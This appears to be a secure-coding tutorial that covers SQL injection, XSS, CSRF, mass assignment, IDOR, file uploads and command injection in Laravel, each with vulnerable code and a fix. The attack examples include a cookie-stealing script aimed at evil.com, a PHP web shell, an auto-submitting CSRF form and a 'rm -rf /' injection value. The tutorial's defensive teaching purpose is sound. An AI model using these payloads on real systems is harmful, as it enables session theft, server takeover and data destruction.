Security is not a feature you add at the end of a project. It is a layer of thinking that should run through every route, every model, every form, and every API endpoint you write. Laravel ships with a solid security foundation — but only if you know how to use it, and more importantly, how not to accidentally bypass it.
This article walks through the most common and dangerous attacks targeting Laravel applications in the real world, showing exactly what the vulnerability looks like, how an attacker exploits it, and how to defend against it with concrete code.
1. SQL Injection
What it is
SQL injection happens when user-supplied input is embedded directly into a raw SQL query, allowing an attacker to alter the query's logic, extract data, or destroy records.
The vulnerable code
// ❌ DANGEROUS — never do this
$username = $request->input('username');
$user = DB::select("SELECT * FROM users WHERE username = '$username'");If an attacker submits ' OR '1'='1, the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1'This returns all users. With more creative input, they can dump tables, delete data, or even execute shell commands on some database engines.
The fix: Always use Eloquent or parameterized queries
// ✅ Safe — Eloquent escapes automatically
$user = User::where('username', $request->input('username'))->first();
// ✅ Safe — parameterized raw query
$user = DB::select('SELECT * FROM users WHERE username = ?', [$request->input('username')]);
// ✅ Safe — named bindings
$user = DB::select(
'SELECT * FROM users WHERE username = :name',
['name' => $request->input('username')]
);Eloquent's query builder uses PDO prepared statements under the hood. The parameter is never interpolated into the SQL string — it is sent separately to the database engine.
When you must use raw expressions
Sometimes you need raw SQL inside a query builder. Use DB::raw() only for column names or expressions, never for user input:
// ✅ Safe — raw expression on a fixed value
$users = User::orderByRaw('FIELD(role, "admin", "editor", "viewer")')->get();
// ❌ DANGEROUS — raw expression from user input
$column = $request->input('sort_by');
$users = User::orderByRaw($column)->get(); // never do thisIf you need a user-chosen sort column, whitelist it:
$allowedColumns = ['name', 'created_at', 'email'];
$column = in_array($request->input('sort_by'), $allowedColumns)
? $request->input('sort_by')
: 'created_at';
$users = User::orderBy($column)->get();2. Cross-Site Scripting (XSS)
What it is
XSS occurs when an attacker injects malicious JavaScript into a page that other users view. The script runs in their browser, where it can steal session cookies, redirect users, or silently submit forms.
The vulnerable code
// A stored comment in the database:
// <script>document.location='https://evil.com/?c='+document.cookie</script>
// In the Blade template:
{!! $comment->body !!} // ❌ raw output — executes any HTML/JSThe fix: Use Blade's double-curly-brace syntax
{{-- ✅ Safe — Blade escapes HTML entities automatically --}}
{{ $comment->body }}
{{-- This renders the script tag as plain text, not as executable JS --}}Blade's {{ }} syntax runs htmlspecialchars() on the value before output. <script> becomes <script> — visible as text, not interpreted by the browser.
When you need to render HTML
If users can submit formatted content (a WYSIWYG editor, for example), sanitize before storing:
// Install: composer require ezyang/htmlpurifier
use HTMLPurifier;
use HTMLPurifier_Config;
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$safeHtml = $purifier->purify($request->input('body'));
Post::create(['body' => $safeHtml]);Then you can safely render with {!! $post->body !!} because the dangerous tags have already been stripped.
Content Security Policy (CSP) as a second layer
Even if XSS slips through, a strict CSP header limits what injected scripts can do:
// app/Http/Middleware/SecurityHeaders.php
public function handle(Request $request, Closure $next)
{
$response = $next($request);
$response->headers->set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none';"
);
return $response;
}3. Cross-Site Request Forgery (CSRF)
What it is
CSRF tricks a logged-in user into unknowingly submitting a request to your application. Because the browser automatically sends cookies with every request, the server can't tell the real user from the forged request — unless you use a CSRF token.
The attack scenario
An attacker hosts a page with this hidden form:
<!-- On evil.com -->
<form action="https://yourbank.com/transfer" method="POST">
<input type="hidden" name="amount" value="5000">
<input type="hidden" name="to_account" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>If your user visits evil.com while logged into yourbank.com, their browser sends the transfer request — with their real session cookie attached.
The fix: Laravel's built-in CSRF protection
Laravel's VerifyCsrfToken middleware is enabled by default on all web routes. Every state-changing form must include the @csrf directive:
{{-- ✅ Always include @csrf in forms --}}
<form method="POST" action="/transfer">
@csrf
<input type="number" name="amount">
<button type="submit">Transfer</button>
</form>This outputs a hidden field with a unique token tied to the user's session. Laravel validates it on every POST, PUT, PATCH, and DELETE request.
CSRF for AJAX requests
// Include the token in your Axios setup (from the meta tag in your layout)
axios.defaults.headers.common['X-XSRF-TOKEN'] = document.cookie
.match(/XSRF-TOKEN=([^;]+)/)?.[1];
// Or use the meta tag approach:
// <meta name="csrf-token" content="{{ csrf_token() }}">
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-TOKEN': token, 'Content-Type': 'application/json' },
body: JSON.stringify({ amount: 100 })
});Excluding routes from CSRF
API routes under routes/api.php are excluded from CSRF by default. If you need to exclude specific web routes (e.g., for webhooks), add them to the middleware:
// app/Http/Middleware/VerifyCsrfToken.php
protected $except = [
'stripe/webhook',
'github/webhook',
];4. Mass Assignment Vulnerability
What it is
Mass assignment lets you populate a model with an array of attributes in one call — very convenient, but dangerous if you blindly pass raw request data. An attacker can inject extra fields (like is_admin) that you never intended to be writable.
The attack
Imagine a user registration form. The attacker adds an extra field to the POST body:
name=John&email=john@example.com&password=secret&is_admin=1And your controller looks like this:
// ❌ DANGEROUS
User::create($request->all());If is_admin is not protected, the attacker just gave themselves admin rights.
The fix: Use $fillable or $guarded
Option A — Allowlist with $fillable (recommended):
class User extends Authenticatable
{
// Only these fields can be mass-assigned
protected $fillable = ['name', 'email', 'password'];
}Option B — Blocklist with $guarded:
class User extends Authenticatable
{
// These fields can NEVER be mass-assigned
protected $guarded = ['is_admin', 'role', 'email_verified_at'];
}In controllers, always use only() or validated() to explicitly pick fields:
// ✅ Use only the fields you expect
User::create($request->only(['name', 'email', 'password']));
// ✅ Or use validated() from a Form Request
User::create($request->validated());5. Broken Authentication & Session Hijacking
What it is
Weak authentication allows attackers to impersonate legitimate users — either by cracking passwords, stealing sessions, or exploiting "remember me" tokens.
Secure password hashing
Laravel uses bcrypt by default through the Hash facade. Never store plain-text passwords:
// ✅ Creating a user
User::create([
'name' => $request->name,
'email' => $request->email,
'password' => Hash::make($request->password), // bcrypt by default
]);
// ✅ Verifying a password
if (Hash::check($request->password, $user->password)) {
// password matches
}Secure session configuration
In config/session.php, tighten these settings:
return [
// Use database or Redis — never 'file' in production on shared hosts
'driver' => env('SESSION_DRIVER', 'database'),
// Tie the session to the domain — prevents subdomain session theft
'domain' => env('SESSION_DOMAIN', null),
// Session cookie only sent over HTTPS
'secure' => env('SESSION_SECURE_COOKIE', true),
// Block JavaScript from reading the session cookie
'http_only' => true,
// Prevent cross-site cookie sending (Strict or Lax)
'same_site' => 'lax',
// Session lifetime in minutes
'lifetime' => 120,
// Destroy session on browser close
'expire_on_close' => false,
];Regenerate session after login
Always regenerate the session ID after a successful login to prevent session fixation attacks:
// Laravel's Auth::login() does this automatically,
// but if authenticating manually:
$request->session()->regenerate();Rate limiting login attempts
// routes/web.php
Route::post('/login', [AuthController::class, 'login'])
->middleware('throttle:5,1'); // 5 attempts per minute
// Or use Laravel's built-in RateLimiter in RouteServiceProvider
RateLimiter::for('login', function (Request $request) {
return Limit::perMinute(5)->by($request->input('email') . '|' . $request->ip());
});6. Insecure Direct Object Reference (IDOR)
What it is
IDOR happens when users can access resources that belong to other users simply by changing an ID in the URL or request body.
The vulnerable code
// ❌ Any user can view any invoice by changing the ID
public function show(int $id)
{
$invoice = Invoice::findOrFail($id);
return view('invoices.show', compact('invoice'));
}User A visits /invoices/55 and simply tries /invoices/56 to see someone else's invoice.
The fix: Scope queries to the authenticated user
// ✅ Scope to the currently authenticated user
public function show(int $id)
{
$invoice = Invoice::where('user_id', auth()->id())
->findOrFail($id);
return view('invoices.show', compact('invoice'));
}Using Laravel Policies (the cleanest approach)
// app/Policies/InvoicePolicy.php
public function view(User $user, Invoice $invoice): bool
{
return $user->id === $invoice->user_id;
}
// Register in AuthServiceProvider, then in the controller:
public function show(Invoice $invoice)
{
$this->authorize('view', $invoice);
return view('invoices.show', compact('invoice'));
}Policies centralize your authorization logic and make it testable in isolation from your controllers.
7. Sensitive Data Exposure
What it is
Sensitive data exposure means passwords, tokens, API keys, or personal data leak through logs, error messages, API responses, or misconfigured environment files.
Never expose .env in production
Ensure your .env file is never in a web-accessible directory, and always confirm:
// config/app.php — must be false in production
'debug' => env('APP_DEBUG', false),A debug-enabled production app exposes full stack traces, config values, and query strings to anyone who triggers an error.
Hiding sensitive fields from API responses
class User extends Authenticatable
{
// These fields are never included in toArray() or toJson()
protected $hidden = ['password', 'remember_token', 'two_factor_secret'];
// Cast types for safe serialization
protected $casts = [
'email_verified_at' => 'datetime',
'password' => 'hashed',
];
}Using API Resources for controlled output
Never return a raw model from an API endpoint. Use API Resources to explicitly declare what is visible:
// app/Http/Resources/UserResource.php
public function toArray(Request $request): array
{
return [
'id' => $this->id,
'name' => $this->name,
'email' => $this->email,
// 'password', 'remember_token', etc. — simply not included
];
}
// In controller:
return new UserResource($user);Encrypting sensitive database columns
For fields like social security numbers or private keys, use Laravel's encrypted cast:
class Patient extends Model
{
protected $casts = [
'ssn' => 'encrypted',
'medical_notes' => 'encrypted',
];
}
// Stored as ciphertext in DB, decrypted transparently on access
$patient->ssn; // returns the plain value8. File Upload Vulnerabilities
What it is
Allowing users to upload files without validation can let attackers upload PHP scripts that get executed on your server — giving them full remote code execution (RCE).
The vulnerable code
// ❌ DANGEROUS — no validation, no type checking
$request->file('avatar')->store('avatars');An attacker uploads shell.php with content <?php system($_GET['cmd']); ?> and then visits yourdomain.com/storage/avatars/shell.php?cmd=whoami.
The fix: Validate, rename, and never store in public directories
// ✅ Validate strictly in a Form Request
public function rules(): array
{
return [
'avatar' => [
'required',
'file',
'mimes:jpg,jpeg,png,webp', // whitelist MIME types
'max:2048', // max 2MB
],
];
}
// In the controller:
public function upload(UploadRequest $request)
{
$file = $request->file('avatar');
// Generate a random filename — never use the original name
$filename = Str::uuid() . '.' . $file->getClientOriginalExtension();
// Store outside the public directory
$path = $file->storeAs('avatars', $filename, 'private');
auth()->user()->update(['avatar_path' => $path]);
}Serving private files through a controller
// routes/web.php
Route::get('/avatar/{user}', [UserController::class, 'avatar'])
->middleware('auth');
// In controller — stream the file only to authorized users
public function avatar(User $user)
{
$this->authorize('view', $user);
return Storage::disk('private')->response($user->avatar_path);
}This way, uploaded files are never directly accessible via URL — they go through your application's authorization layer.
9. Command Injection & Remote Code Execution
What it is
If your application runs shell commands using user-controlled input, an attacker can append additional commands using shell operators like ;, &&, or |.
The vulnerable code
// ❌ DANGEROUS — user input goes straight into shell
$filename = $request->input('filename');
exec("convert uploads/$filename output.pdf");
// Attacker submits: "image.jpg; rm -rf /"
// Command becomes: convert uploads/image.jpg; rm -rf / output.pdfThe fix: Escape input and use escapeshellarg()
// ✅ Escape the argument
$filename = basename($request->input('filename')); // strip path traversal
$safeFilename = escapeshellarg($filename);
exec("convert uploads/$safeFilename output.pdf");Better still — avoid shell commands entirely. Use PHP libraries:
// Instead of calling ImageMagick via shell, use Intervention Image
use Intervention\Image\Facades\Image;
$image = Image::make($request->file('photo'));
$image->resize(300, 200)->save(storage_path("app/resized/{$filename}"));10. Security Headers
A single middleware can add a layer of browser-enforced protection across your entire application:
// app/Http/Middleware/SecurityHeaders.php
public function handle(Request $request, Closure $next)
{
$response = $next($request);
$response->headers->set('X-Content-Type-Options', 'nosniff');
$response->headers->set('X-Frame-Options', 'SAMEORIGIN');
$response->headers->set('X-XSS-Protection', '1; mode=block');
$response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');
$response->headers->set('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
$response->headers->set(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains'
);
$response->headers->set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none';"
);
return $response;
}Register in app/Http/Kernel.php under $middlewareGroups['web']:
protected $middlewareGroups = [
'web' => [
// ... existing middleware
\App\Http\Middleware\SecurityHeaders::class,
],
];What each header does:

Quick Security Checklist for Every Laravel Project
Before going to production, run through this list:
[ ] APP_DEBUG=false in production
[ ] APP_KEY is set and not shared publicly
[ ] All forms include @csrf
[ ] Models use $fillable or $guarded
[ ] User input never interpolated into raw SQL
[ ] Blade templates use {{ }} not {!! !!} for user content
[ ] Uploaded files validated by MIME type and size
[ ] Uploaded files stored outside public/
[ ] Passwords hashed with Hash::make()
[ ] Sessions configured with secure, http_only, same_site
[ ] API resources used instead of raw model serialization
[ ] Sensitive fields in $hidden on models
[ ] Authorization checked on every resource action (Policies)
[ ] Security headers middleware registered
[ ] Rate limiting on login, registration, and sensitive endpoints
[ ] .env is not committed to version controlSummary
Laravel is not insecure by default — but it does give you enough rope to hang yourself if you bypass its protections. The most dangerous moments are when developers reach for convenience shortcuts: raw SQL queries, {!! !!} rendering, $request->all() passed directly to create(), or shell commands built from user input.
The pattern across every vulnerability in this article is the same: never trust input, always validate output, and use Laravel's built-in tools rather than working around them. Eloquent, Blade, CSRF middleware, policies, and form requests exist precisely to make doing the right thing the path of least resistance.
Security is not a checkbox. It is a habit built one route, one model, and one form at a time.